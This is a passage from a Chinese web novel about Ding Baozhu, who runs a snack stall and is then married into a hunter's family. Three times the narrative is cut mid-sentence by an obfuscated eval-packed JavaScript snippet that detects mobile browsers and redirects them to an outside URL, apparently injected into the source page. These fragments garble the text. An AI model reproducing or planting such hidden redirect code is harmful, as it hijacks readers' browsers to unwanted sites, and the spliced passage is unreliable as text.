看似不多,却也够一人一日的花销了,再说今天是她头一日出去摆摊,能赚钱就不错了。 这一幕柳萍和丁宝琴也见到了,便笑道:“没想到你第一天就赚钱了?” 丁宝珠不好意思道:“赚得也不多。” “那也是赚了,再说谁做生意一开始就赚得钵满体满的?”柳萍安慰道,“做这事最忌半途而废,那财也是慢慢累积起来的,急不得。” “嗯,我明白,娘。”丁宝珠答应道。 丁宝琴这时出声道: “大姐,你怎么不做些其他吃食呢?比如早食,买的人肯定比点心多。” “这个我也想过,只是我现在没什么工具容器的,那热乎的我用扁担挑过去就先冷了些了,卖到后来就愈发冷了。” “那可以先换个简单的呀。”丁宝琴快言快语道,“比如说用木桶,里面放上吃食,上面再盖上啥就能保暖了,那木桶可以找村里的木匠——” 话音未落,柳萍瞪了她一眼,丁宝琴霎时闭了嘴,也想到什么,变得讪讪起来。 丁宝珠也想到了,那原主喜欢的就是村里的小木匠,所以这个词在她痊愈后简直成为了家里的禁忌,能不提就完全不提的。 “你是不是忘了你大姐就要出嫁了?这时候搞什么工具?”柳萍口吻略带不悦。 丁宝琴继续不说话。 丁宝珠假装没听见,一笑而过道: “娘说的是,再说今天我卖完后,还有人问我明天出不出摊呢,所以这凉糕应该还是挺受欢迎的,明日我再去瞧瞧。” 两人听闻,也就不再多讲什么了。 吃过饭,她又检查了下剩余的材料,发现除开那些糯米粉和馅料,还有几两的枣干没处理,因为之前做了一罐子枣泥后,她就没接着往下做了。 而又因为糯米粉和馅料都没有用完,所以暂且不用再去买新的材料,如果说这次只赚了一点,下一次如果顺利的话,利润指不定能翻倍呢。 至于这些剩下来的枣子,丁宝珠不想着再补充枣泥了,而是准备做个新玩意儿卖卖看。 三种馅料的凉糕照常做,和第一天是一样的,还有那罐桃花茶。另外那些枣子,丁宝珠把它们泡开后,用剪子剪开,将里面的核给取了出来,又用糯米粉做成一个个剂子塞进去,上锅蒸熟,就是一颗颗红红火火的笑口常开枣了。 虽然已经有了红枣的清甜,但丁宝珠仍是又熬了些粘稠的红糖浆,把一半枣子在那糖浆中滚了一遍,干了后就变得亮晶晶的。而另一半,就暂时是原味的了。 只是这个小吃做法十分简单,就是翌日大早起来做也是来得及的。 而这次她再挑着扁担去那大道上,那棵杏树下也空着,她就继续在那放下,开始摆摊。 不过一会儿,那大叔果然也来了,见到丁宝珠开了摊,笑着上前来,一看就是过来买东西的。 丁宝珠也笑着问: “大叔,你今天那么早就来了?” “能不早点么,就怕晚了,你这就没有了,再说你那凉糕确实能放得久。”大叔说着,又道,“这次我要三块儿枣泥的,两块儿黍米的,到时候带回去给我媳妇孩儿尝尝。” “好嘞,我给你分开包,就算你十二文好了。”丁宝珠一边用叶子包糕一边说着,“大叔要不要再买点茶水喝?自带容器的话,只要半价。” 这大叔昨日被送了一碗茶,后来再也没来过,恐怕不清楚这点,丁宝珠也是猜他有没有带容器。果真听大叔问道: “水壶可以不?” “当然可以。” 丁宝珠答应着,村里人们随身带的都是竹子木头制的,大叔的那个水壶也的确更像是个细竹筒。 她又在给他灌满茶水时推销起自己的新品来: “大叔,我今儿还做了糯米枣,最是补血养颜的,大人小孩儿都爱吃,不如也买回家尝尝呗?” 那些做好的糯米枣都装在一个小篮子里,一个个小巧玲珑,晶莹剔透,格外可爱,甚至有一丝若隐若现的甜香。 听到丁宝珠这么说,大叔下意识问:“这咋卖的?” 丁宝珠立刻回答道:“原味的,一文钱两颗,裹糖的一文钱一颗,多买的话我给你淋糖水,甜蜜蜜的可好吃了,也能放。” “哈哈,那咋样才算多买啊?”大叔爽朗笑道,“既然这样,那我各要一文钱的,先尝尝吧。” 丁宝珠便又取了张大点的树叶,折了个碗形,里面装了三个糯米枣,再拿了个小勺子淋了一丝糖浆,递过去后说道: “正好一共十五文钱,大叔慢走哈。” 做成了今天的第一笔买卖,丁宝珠继续在原地吆喝,与昨日相同的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097623|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,天边阳光越盛之时,路上的人们也多了起来。 就在这时,丁宝珠迎面见着丁宝珍和几个或扎着头发或绾着发髻的女子走了过来,前者还没完全过来,就指着摊子笑道: “就是这摊子卖凉糕的,我家的生意,各位姐姐们还得光顾光顾才是。” 其中一位女子笑道: “你们瞧瞧,不过说了一声她带的糕好吃,就直接拉我们过来照顾生意,亏她能想到这,来占我们的便宜!” 丁宝珍笑道:“别说是糕了,摊上还出了新的吃食,各位姐姐尝尝也是好的。” 丁宝珠早已听到了这番话,连忙站起身笑盈盈地跟着说: “咱家二妹跟着各位姐妹学织布针黹也是辛苦了,不买吃食,买杯桃花茶养养颜顺顺气也是好的,自带杯还只需要半价呢。” 那些妇人围了一圈瞧了瞧,有女子问道:“昨天珍姐儿带了糕吃,也分给我们,其中有个看着绿油油的,吃着清爽又不甜,那个有没有?” 如今一般人只想着每日能够吃饱饭就够了,只有那些有点家底的人,就多了点其余的念头。听闻那大墩村建着布庄,村里上下不仅有许多妇女忙于织布女红干起了产业,更是有不少家从中致富,那最富贵的一家也是技艺最好的,许多别村的女子都是闻名而去请教,试图也做出个名堂来。 而家里一富,这些个妇人考虑的也就多了——尤其是容颜这方面的事儿,点心她们如今都买得起,可吃多了又怕发胖,谁知丁宝珍带来的那糕尝着不似其他点心那样甜蜜,味道独特,问了之后才明白,原来是她家人支了个小摊子,哪里想到的新奇法子做的这口味,今天也就跟着来了。 丁宝珠喜道:“当然有,我才刚出摊,存货都在这呢。另外今天还上新,做了糯米枣,养颜补气血,吃了那气色比花好看,各位姐姐尝尝如何?” 丁宝珍没有出声,倒是没想到她这个大姐那张嘴,如今竟也能说出这样的好话。 被一通推销,这群女子买的大多数都是那抹茶红豆馅凉糕,也有买了那糯米枣的,不过买的都是原味,也算是个零嘴。 幸好丁宝珠没有因为昨日卖得不是特别好而减少抹茶红豆馅的数量,这一下就连着糯米枣也卖去了一半,乐得她要不的。 更是有人已经先吃了颗枣子,那枣儿本就有种清甜,内心又是软糯的糯米团,咀嚼起来又弹又可口,就是味道淡了点,一股大自然的气息。 见边上还有亮晶晶裹过糖的,可那妇人是有些丰腴的类型,这又是个零嘴,很容易就吃多了,所以只盯着发馋。 丁宝珠敏锐地发觉了,笑道: “这位嫂子,你买的多,我给你淋一点点红糖,只是添味道的,不打紧。” 那嫂子听着也高兴,把自己刚买的糯米枣还回去,丁宝珠晃动着勺子继续淋着红糖浆,香气扑鼻。 就连丁宝珍也买了两块儿凉糕来做早食吃,最后终于是把那一群妇人招待好了送走,她满意地将铜板都收进了自己的荷包里。 23. 吃酒议亲 昨日那样的地位,今天好像立刻就有了一百八十度的转变,除了那些来买茶水喝的,还有买红糖枣泥馅的,买抹茶红豆馅的显然更多了。前有那些织布妇人,后面又有小孩儿来买,但好像是跑腿来的。 特别是昨天见到的那位和邱大夫在一起的少年,今天竟然也来了,并且也要那抹茶红豆馅凉糕。 丁宝珠一边包一边揶揄道: “这回不怕积食了?” 这少年颇有点故作老成的意思,所以听了这话,那脸上就出现了几分赧然,却说道: “这味道确实不错,再说我还会看着先生不多吃的。” 今日的凉糕卖得比昨天还要快,连那沾着糖浆的糯米枣,本来也没多少,在上午时分也当做零嘴统统卖出去了,让丁宝珠得以能更早回去。 而今天赚的钱,起码翻了两番! 但与此同时,手头上的材料也是不多了,她准备等下午去镇子上瞧瞧。 眼见时间还早,丁宝珠左瞧右看,突然就盯上了自己身旁的这棵杏花树,就去找了根长木棍,开始扑棱扑棱打起那些杏花来。 四周有些摊贩奇怪地望过来,心里嘀咕,却没多管,只忙着他们自己的生意。 收集了一筐杏花后,丁宝珠才开始收拾回家。 然而才到家,她透过窗子隐隐听到什么交谈之声,也只有丁宏有这么大的嗓门,不知在和谁聊着呢? 如此想着,她快走到门口了,却见丁宝琴蹲在那,正在用树枝在地上写写画画消磨时间,仿佛感应到了什么,她抬起头看到丁宝珠来了,站起身挥了挥手。 丁宝珠上前问道:“怎么了?你怎么待在这?” 丁宝琴小声道: “今天那徐叔叔来了,爹留他下来吃酒,娘不清楚你啥时候回来,让我去找你呢,本想着你也没那么快回来,没想到却是提前了。” 丁宝珠点点头,与前者一起进了门,把那工具放下,又把那筐子杏花瓣交给丁宝琴处理,自己独身一人进了屋。 敲了敲门,丁宝珠说道: “爹,娘,我回来了。” “哎哟,珠儿回来了?”柳萍率先问着,又说,“今儿回来得早,饭菜才备好,快来坐吧。” 丁宝珠应了声,那整张桌面上,丁宏坐在主位,而那客位上也坐着一个健壮的与丁宏年龄相差无几的大汉,没有想象中猎户皆长得凶神恶煞的刻板印象,却是浓眉大眼,长得十分端正,倒是和徐晔有两三分像。 丁宝珠连忙笑道:“徐叔叔好,怎么今天来找我爹喝酒来了?” 那徐猎户单名一个翊字,也算是象山村的土著了,代代也是做猎户的。而这猎户打了猎物,除了自用,就是要变现,就和村里的屠户关系好了,再加上两人又是差不多的年纪各自开始事业的,自然而然就成了好友。 原主知道丁宏和徐翊经常一起吃酒,只是破了那层窗户纸后反而没怎么去了,又发生了那种事,但现在估计是说开了? 徐翊只是无声打量了一番,也微笑道: “我和你爹情同手足,也好久没聚一聚了,难道你还舍不得你家的酒?” “怎么会呢,徐叔叔过来,我们当然很是欢迎的。” 丁宝珠说着入了下座,桌面上放着两碗酱菜,一碗葱拌豆腐,一坛子酒,大抵是散装的粮食酒,还有一碗切过的肉片,不过她看着像是猪头肉,还淋了热油拌过,油光锃亮的,就算凉了也有香气。 徐翊又笑着和丁宏说道:“听说你家大姐这几天在外面做生意,我家那小子还去那买过东西呢。” “哎呀,那哪里算是生意,顶多是个小买卖罢了。”柳萍在旁说着。 “那至少也能挣钱补贴家里了,而且我家小子买了那吃的回来,可得他心意了,他平常可不吃那种甜滋滋的吃食。”徐翊夸着,不知为何,里面似乎还有些言下之意。“之前也没听说你家大姐还有这手艺,老丁啊,你不是想让她跟着你做么?” “嗐,这不是家里总有人要学,她又是长女吗。只是学这门手艺,到底麻烦,我们还是希望她能够安安稳稳地嫁个好人家去,平平安安就好。”丁宏叹道。 丁宝珠在一旁默默扒饭,那猪头肉肥而不腻,软糯细腻,和爽脆的酱菜一起吃,太下饭了。 “说的也是,我家那小子我也担心,都老大不小了,对讨媳妇儿却一点也不在意。” 桌上喝酒用着粗碗,略微浑浊的液体散发着淡淡的粮食气味。徐翊说到这大喝一口,随便用衣袖擦擦才继续叹道: “而且也不知啥时候养成的性子,就和个闷葫芦一样,和外人更是说不满三五句话,别说是其他姑娘了。” 说完,三人奇异且默契地都沉默了一下,然后纷纷将眼神稍稍投向了仍在吃饭的丁宝珠身上。 丁宝珠也擦嘴,心里吐槽着:这原主以前到底是个什么样的人啊?亲事原则上说已经八字有了一撇,但实际上已经是铁板钉钉,即便又做了过激的事,可两家也都讲明了,婚事也没退,怎么这未来公公还是不放心的样子?好像怕这原主又会搞事一样。 看来想让人转变印象,还有很长一段时间…… 丁宝珠想了想,说道: “徐叔叔,我之前是做了激进的事,但是好了后我也想清楚了,我做那事儿只能让家人担心,让自己出丑罢了,今后我再也不会了,一切都听我爹娘的。” 徐翊怔了怔,丁宝珠受伤后他也曾来看望过,只是这事敏感,他就再没进丁家的门。过了几日听说后者醒了,丁宏也提着礼上门来说明,只讲那丁宝珠醒来后活像是变了个人,原以为仅是说说而已,没想到竟是真的? 他又瞧了眼一脸欣慰的丁宏和柳萍,又想着近日里村里有部分人都在谈论丁宝珠竟在村外那道儿上摆起了摊做买卖,还有眼前丁宝珠这乖顺的模样,原来就没啥心眼的人立马就释然了,不但放心,还十分满意起来。 “好,好,大姐能这么想就好。”徐翊笑着,又举碗道,“老丁,咱们再喝一轮?” 吃过酒饭,送了徐翊出门,丁宝珠本也想出门,却被父母叫住了,进屋谈事。 “杨仙姑找看黄历算了个好日子,就在这月十九,前一天也是个宜搬家的。” 丁宏的酒量不错,不过本身也没喝多少,关上门就向柳萍和丁宝珠讲了这事。 柳萍一脸欣喜,但很快又换了愁容出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114733|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那也没几天了,我得再检查检查事物,前一天要去铺床,又要摆宴,不比成亲当天闲呢!” 丁宝珠这才明白,看来徐翊这次过来,也是有和丁宏商量的意味。他俩本就关系好,而这里的人们又喜欢亲上加亲,碰巧自己也回来,观察了会儿,也就更放心了。 只是这里的婚礼进程,她就不太清楚了。 “没事儿,你都检查多少遍了?再说宝珠不出村,又不是难见到,到时候有啥东西少了再补就是了。” 丁宏笑道。这也是为何他更想让丁宝珠嫁到徐家,这附近几个大村子都是互相联姻的,就连家里有的媳妇,娘家也是邻村的,但肯定是都在一个村子里方便。 丁宝珠问:“娘,前一天的铺床是什么?” 柳萍被劝后也不急了,听她这么问,笑着回答道: “成亲前一天,娘家要去夫家那暖房,就是铺铺床,摆摆器具什么的。还要摆个简单的宴,毕竟那也是你在娘家最后的一顿饭了......” 那不就是布置新房么?丁宝珠明白了,也笑着说: “那我就等着好吃的了。” “你啊,都要出嫁了,结果光想着吃?”柳萍摇头无奈,又叮嘱道,“要成新媳妇了,你那买卖就不要去做了,总共也没几天功夫,再说这些日子也让你过了瘾头,接下来就安分点吧。” 丁宝珠抿抿唇,若说这「瘾头」,她还没过瘾呢。而且她的生意才刚开始,况且那道儿上还没有卖凉糕的,光凭这新鲜劲就有不老少客人来买,这要是一断,下次再去,说不定已经有另外的摊子卖那凉糕了。 柳萍见丁宝珠脸上有些不愿意,好声劝道:“珠儿,你乖些吧,好不容易将这事儿顺利接下去了,可不能再出什么岔子了,到时候娘给你做好吃的。” 听闻这话,丁宝珠只觉得有一种之后要被看管在家的感觉,计划赶不上变化,她也只能答应了。 从杏花树上得到的那些花瓣,她原本是想做杏花茶换换口味的,现在也只能成自用的了。 她用那些洗净的花瓣做了杏花饼,而虽说她目前在家,却也要忙活——柳萍一会儿让她试新衣,一会儿试新鞋,一会儿又去检查嫁妆的数量,就好像是她自己要出嫁一样,丁宝珠却啃着杏花饼不言语。 在这期间,甚至还有人找到了丁家,在门口晃悠着踮脚看,仿佛在寻找什么似的。结果一问,都是来找丁宝珠的。 原来在那之后,丁宝珠就没出去卖过凉糕了。只有一日,人们还觉得仅是那天不出摊,可接着两三日过去了,有些想吃凉糕的人就少许坐不住了。特别是一些住在象山村的人,虽然听说过丁宝珠的名声,可那不关凉糕的事情,也就不由自主来到了丁家。 丁宝珠解释了原因,有的人道了恭喜,有的人觉得遗憾,还有人偷偷告诉她,如今道儿上果然也有别人开始卖凉糕了,只是那凉糕做的粗糙,也没有丁宝珠摊上的新意多,所以纵使有人买,终究不火爆,尤其是那抹茶红豆馅儿的,喜爱的人现下也格外喜爱,然而其他人完全复刻不出来那味道。 他们遗憾,丁宝珠就更感到遗憾了——看来只能等出嫁后,再瞧瞧有什么机会。 24. 桃之夭夭 时间一霎而过,转眼就到了迎亲的前一日。 丁宏柳萍喊上了丁绍姚丹,带着一个箱笼去了徐家暖房,铺床挂帐,摆设器具,也几乎都是丁宝珠的嫁妆,不在话下。直到了傍晚,柳萍又去灶房做饭,好听点的,就说是出阁喜宴,预示着准新娘即将要出嫁了。 桌椅放置在院子里,纵然丁宝珠向来与丁进蒋氏和大房不和睦,但也不能单独落下他们,何况前者马上也要嫁出去了,那彩礼也厚,是以这一顿,似乎暂且忘了先前所有的不愉快,也坐到一块儿去了。 桌上很快就摆了菜出来:腊肉炒的香菇、蒜蓉拌的香麦菜、笋子炒的面筋、葱烧的豆腐、摊鸡子、煎火腿、一尾鲜炖鱼,还有一大碗碧蒿咸肉滚汤,各个热气腾腾,香味扑鼻。 按理说这出阁喜宴还能请亲友来,只是原主的人缘貌似不怎么样,丁宝珠来到这也不想多做什么,就一家人围着吃完这一顿小席也完了。 那蒋氏和大房的吴棠表情轻松,作为长辈嘱咐了丁宝珠几句,也就不再讲什么了。后者感觉这可能是原主头一次和她俩这么和谐。 吃过饭各自回屋,柳萍又喊她去,似乎要悄悄摸摸地对她再说些什么,结果丁宝珠一听,原来是洞房花烛夜时会发生的那些事情。 这事儿她虽说没经验,但肯定比一般的黄花闺女熟悉,可对上柳萍,她也只能装作一副初次了解的模样了。 又过了一夜,但那婚礼是傍晚时分才开始,就算徐家来迎亲,怎么也要日夕之时才会来——夫家那也要做准备呢。 这又没什么娱乐设备,丁宝珠等得百无聊赖,好不容易等到了时辰,那柳萍姚丹又开始把她当成个娃娃一样地收拾打扮起来,妯娌俩意见不一,让她耳边聒噪得不行,还是她提出应该由自己这个准新娘来决定,才使她们停下来。 柳萍满意道:“我姑娘今儿真漂亮!” “都说新娘子在出嫁那天是最漂亮的,二嫂和我不都经历过?”姚丹在一旁捂嘴笑着,她继而又看着丁宝珠梳好的头发,突然说道,”不过我总感觉好像少了点啥……二嫂,你觉得呢?” “这……是哪里?”柳萍疑惑问。 “二嫂,你没给大侄女儿置办点首饰吗?”姚丹问着,“这头上光溜溜的,也不好看啊。” 柳萍叹道:“这不是给她补嫁妆去了,也没多余的银钱去置办了么,首饰是好的,可咋也得让珠儿多有些私房,到了夫家才能有底气。” 就在这时,那门外又进来了人,原来是丁宝珍和丁宝琴,后者手里还拿着什么,走过来笑嘻嘻道: “娘,三婶,我和二姐瞧外面桃花开得好,折了几朵好的回来,咱们给大姐扮上吧?” 姚丹双眼一亮,喜道: “这个正好,我们快给宝珠插上,时辰也快到了!” 那天际的太阳略微斜下,洒下一大片葵黄色的光芒,徐晔穿着栗紫色的深衣,踏着一双新做的黑布鞋,牵着一头毛驴,后方连着一辆木板车,正慢慢往丁家走去。 说实话,即便今日他来迎亲,他的心里也照样没什么太大的波澜,这门亲事原本就是徐翊擅自定下的,也算是父母之言,再说他爹又时常烦恼,可他不想让父亲难办。 ……若是他把这个媳妇娶回来,到时能好好在一起生活,那他也不是不能接受。 思来想去念了一路,大门敞开的丁家已到达了。心情杂乱的徐晔正了正脸色,停下毛驴,上前敲了敲门。 丁宏早就在等候着了,立时打开了门,见眼前的人站得笔直,觉得愈发满意地笑道: “你来了?” 徐晔嚅了嚅唇,弯腰作揖,恭恭敬敬地叫了声: “岳父。” 他说完,又去木板车拿了东西出来,递道: “这是我家送来的礼物,还请岳父岳母收下。” 那是一坛酒,一包白糖和一条腊肉,丁宏一边说着客气一边收下,又往屋里喊: “姑爷来迎亲了!——” 对于这个极其陌生的称呼,徐晔心里到底是重重一跳,阳光照射在脸颊上,只感觉暖乎乎的。 以他的视角,完全能够见到里面其中一间屋的屋门在下一刻打开了,先出来了两个陌生姑娘,徐晔虽是不认识,却也能想到那应该是丁宝珠的两个妹子,也就是自己的……嗯,小姨子? 在那之后,柳萍和姚丹一左一右地牵着人慢慢走出来,那身上的新衣是过年时扯的新布做的,一整套海棠红的衣裙,脚上则是一双大红色的绣花鞋,头上披着一张纱盖头,里面的样子就迷迷蒙蒙影影绰绰的。 徐晔去牵着毛驴过来,柳萍丁宏送丁宝珠到门外,相顾无言。 丁宝珠笑道: “爹,娘,你们别难过,也不是永远都见不到了,就说近的,到时候我还要回门呢。” “放心,我和你娘不难过。”丁宏反而安慰道,只是不知是否是也在安慰身旁的柳萍。“你到了夫家,一定要听话懂事,不可再发以前的小脾气了,知道吗?” “对,对。”柳萍也压抑住心中情绪,连忙叮嘱道,“昨晚我和你说的,你得牢牢记着,最重要的是,你要安安稳稳的……” 丁宝珠一一应了,就被两人扶着侧坐上了那毛驴背,徐晔招呼了两声,那驴子就缓缓行进,离那大门也是越来越远了。她回过头,还能从盖头依稀见到两人在朝自己挥手。 丁宝珠蓦地感到一阵怅惘,不知是被原主影响的,还是她对之后的未来所感到的。 这里的规矩就是一旦出了嫁,那就彻底成了夫家的人,连娘家都不能频繁地去,不然以丁宏柳萍的态度,肯定会让她多回家看看,反正都在一个村子很方便。 村里成婚并没有十里红妆那么热闹,却也是有亲朋好友,或者是旁边有着嘈杂喧嚣的围观群众,起码点个鞭炮什么的,唯独他俩的婚事,只有一头借来的驴子驮着新娘,后方的木板车上还拉着一个箱笼,两人更是一言不发,这场景尴尬得让丁宝珠有点想蜷缩脚趾。 就算是盲娶哑嫁,也不会这么沉默吧? 看来这徐晔,还真是不喜欢她!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127745|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 泥巴地延伸出一道长长的车轱辘印迹,丁宝珠抬眼,发现正好路过了几棵正在开放的桃花树,那粉嫩的桃花瓣即使被夕阳包裹却也显得娇艳欲滴,时不时纷纷扬扬地落下些轻盈花瓣坠在两人的头顶上,香气淡雅。 丁宝珠不知怎么,想到了一句诗: 桃之夭夭,灼灼其华。之子于归,宜其室家…… 可正在这鲜艳桃花中出神的时候,突然就出现了一个强硬的插曲。 丁宝珠低头一瞧,就见她的那条红裙子上莫名出现了半个巴掌大小的污渍,还没来得及抬头,就听远方传来了尖细的叫喊声: “哈哈哈哈,竟然有人要娶肥猪婆,口味真重!” “猎户不娶肥猪婆,还能娶谁?” “丑八怪配肥猪婆,天生一对!” 徐晔紧锁眉宇,正想呵斥,那毛驴上的人却乍然下来,一瞬间就冲了过去,径直像抓起一只小鸡崽一样地伸手抓住其中一个孩童。那群孩童见丁宝珠过来了,大叫着轰然而散,只有那个被抓住的上下挥动着手脚,喊得更大声了,一面想打还一面骂。 “闭嘴!” 丁宝珠中气十足地大喝一声,紧紧攥着那熊孩子的衣领,她本就生得高挑,那孩子在半空中晃晃悠悠的,一松手就会摔下去,又被一吼,当即愣住,不再出声。 丁宝珠没有掀那盖头,却靠近了些,咬着牙幽幽警告道: “你们是知道我先前是做什么的,以后你们要是再敢胡闹,我就拿我的屠刀把你大卸八块,流光了血,再扔去喂狗,听明白了吗?!” 那熊孩子——也是扔来泥石的,只怔怔的不答话,好像已经丢了一魂一魄,丁宝珠一松手,他就一屁股坐在了泥巴地,那泥巴也溅在衣裤上。 丁宝珠冷哼一声,不再管他回去,却也不再坐那毛驴,而是默默地拍着裙子。 徐晔看着那呆愣着的熊孩子,又瞧瞧丁宝珠,不知为何有点想笑——当然这笑并不是嘲讽。 她倒是还挺厉害的! 想到这,他开口道: “再坐上去吧,迎亲也该做做样子,我扶你。” 距离那村西边不远了,徐晔在出来时,家里就已经简单摆了宴,合该有几个亲人和好友会过来,要是让新娘子自己走进门去,那实在不合礼数。 “一群熊孩子,这衣裙可是我娘亲手做的。” 丁宝珠抱怨着,却也明白徐晔为何会那么说,最后依然是借他的手重新上了那毛驴背。 春日不寒,原主学过刀法,少不了用刀,而那徐晔也惯用工具,手上皆是有着糙糙的粗粝感,但那温热仿佛都是一样的。 “到时候打水来洗洗,多放些皂荚子就好了,家里都有。” 既然徐晔都这么讲了,丁宝珠也不再说什么,况且这一身虽是新娘子的新衣,可到了最后也就成了常服,可是要穿上许久的。 木板车开始继续行驶着,唯有那个坐在泥巴地上的熊孩子,回过神后见到那极小的背影,终于是哇的一声嚎啕大哭起来,响彻天际。 25. 喜宴 丁宝珠耳力也不错,隐隐听见熊孩子那遥远却不断的哭声,心情顺畅了不少。那驴子没走几步,徐晔却听见她坐在那驴背上轻轻哼起了调子,不禁问道: “你就这么开心?” “熊孩子被压制了,怎么不开心?”丁宝珠反问道。 “你就不怕那孩子去告诉父母,然后找上门来?”徐晔问着,顿了顿,他又故意道,“况且你现在嫁了过来,要找就找到徐家来了,你之前怎么任性我不管,别打扰我家人。” “放心吧,我一人做事一人当,再说了,那熊孩子如果真去告状,那他父母也得信才是,就算不信然后带人找上门,我死活不承认,他又奈我何?” 徐晔听后嗤笑一声:“你还想得挺好,就你以前那脾气,我想他们肯定是前面那态度!” 丁宝珠听了却也没恼,反正她也不知道那原主具体是怎样的刁蛮,她还代替了她,也就笑眯眯说道: “毕竟他们刚才叫我野猪婆,还说什么野猪婆和丑八怪是天生一对呢!” ……这女的真是不知羞,直接就说出来了? 徐晔抿抿唇,不知想起什么,冷笑一声道: “是,我是丑八怪,也就不配你了,但既然事情已经定下,也是板上钉了钉,你没有能返回的余地,我也不行。所以我劝你最好安分守己一些,那日子也就照常过,我也不会为难你什么……” 这话总要说出口的,现在又只有他们两个人,也是个适合的场景。 徐晔甚至想着丁宝珠会反驳自己,可没想到后者开了口,却回答: “什么?你也不丑啊?哪有什么配不配的?” 徐晔脸上虽然有着类似于胎记的斑痕,但恰巧不覆盖在五官上,而他整张脸大体随着徐翊那样端正,其余的或许是随他母亲,所以压根就说不上丑,全是村里越传越离谱的谣言。 就连她自己的这个熊孩子口中的绰号,也是因为村里多数女子都是瘦瘦小小的,她就立刻变得鹤立鸡群,再加上那脾气,自然会被人置喙了。 徐晔怔了怔,不说话了,心里却嘀咕起来。 她到底听不听懂得话? 他突然觉得前路冗长且迷茫,不由自主地暗暗叹了口气。 那几棵桃花树很快就路过了,在泥巴路上又走过了几分钟,就到了那象山村的最西边。 徐家的大门也是敞开的,只是不知是不是徐家人不多的缘故,那大门比丁家要小,依稀有见到和丁家相同的茅草顶,也是要少些。 到了门口,徐晔又扶丁宝珠下驴,朝着门内喊道: “爹,姨母,我接人回来了!——” 盖着盖头的丁宝珠心里暗暗纳罕:怎么叫的是姨母?可惜原主对徐晔以及他家里实在没什么记忆,所以她也是完全不清楚了。 而那口中的爹和姨母还没有现身,却有另外的声音响起来,听着还挺欢悦的: “大哥回来了!新娘子迎来了!——” 这种劲头,丁宝珠倒是熟悉,应当是徐晔家里的妹子,也就是……嗯,自己未来的小姑子。 而除了这个声响,猛然又传来几声犬吠——那听起来似乎并不欢迎外人的到来。 丁宝珠停了停脚步,徐晔发现后,小声道: “别怕,那是我家的猎犬,已经关上了。” 丁宝珠点点头,又听院里喊道: “快,快请儿媳进来!” 这个声音丁宝珠就认出来了,不正是徐翊?好在她盖着盖头,脚下的地面也看得到,可正想着就往前走,却听旁边像是多出来的人忽然说道: “等等!” 那是个上了年纪的女声,口吻略沉,丁宝珠还没反应过来,身前就被放下了个燃烧着的火盆,那声音继而又道: “跨了火盆,去去晦气,省得把那些不良之气也带进来,那就不好了!” 丁宝珠微微蹙眉——她怎么在里面听出了些阴阳怪气? 据说发生了那事后,丁宏的弟妹,也就是徐翊他妻对这事尤为不满,如今她仍是嫁了过来,那不就是她名义上的婆母了吗? 啧啧,看来接下去并不会有多太平。 丁宝珠想到这,两手拉着裙摆,幸而她腿长,直接轻松跨了过去。 “好了好了,莹儿,芝儿,带你们大嫂回新房,晔儿,你把箱笼也一起送去,等会儿院里来客,也就开席了。” 那莹儿芝儿答应了过来,前面一个稍大的,也仅长到了丁宝珠的腰往上,那后者更是身量较小,年纪估摸着也不大。 徐晔则去木板车上搬下箱笼,几人一块儿去了新房,风拂过盖头角时,丁宝珠敏锐地见到不大的院落中摆着几张桌,桌上摆着大小碗,而自己却与它们擦肩而过了。 等等……她难道不能上桌吃席吗? 这新娘子也太惨了吧?! 徐晔还要去还了那驴车,什么也没说转头就走了,只有那莹儿芝儿陪着丁宝珠来到那大床旁坐下,至此无言,不知是害羞,还是不知该对这位新嫂子说些什么。 丁宝珠主动问道:“你俩是徐晔的妹妹吧?有多大了?” 那莹儿如实回答道:“我今年十三了,我妹妹徐芝,今年也有十岁了。” 丁宝珠笑道:“原来如此,不瞒你们说,我家里也有年纪和你们相当的妹子呢。” 徐莹顿了顿,却淡然说道:“那样也好,大嫂你且在这里等着,我和芝儿点蜡烛去了。” 显然一副不想多说话的口吻,丁宝珠也只好暂时闭嘴。 洞房花烛夜,有洞房也得有花烛,只是村里没那条件,点两支红烛就算对付过去了。 徐莹与徐芝很快就出了屋,还带上了门。丁宝珠见安静下来,抬手扬起盖头,开始打量起这所谓的新房来。 房体也是夯土造的,但这房间看着像是间单人房,也许起初只是徐晔的房间罢了,又多放了丁宝珠带来的箱笼,那面积更显得逼仄。 可环视一周,麻雀虽小五脏俱全,这多亏了昨天娘家人的暖房。 丁宝珠悄悄起身,来到自己的那箱笼面前打开,里面都是丁家给自己预备的嫁妆:例如小工具、日用品、最多的则是衣裳、鞋子、床上用品什么的,就凭着村里节省的习惯,怎么也能用上好几年。 与此同时,那箱笼里还放着不少食物来陪嫁,比如干果、粮食,特别是还有一坛子的猪油,肥肉要比瘦肉贵,就是因为前者能熬油,这一坛猪油的价值可不便宜。 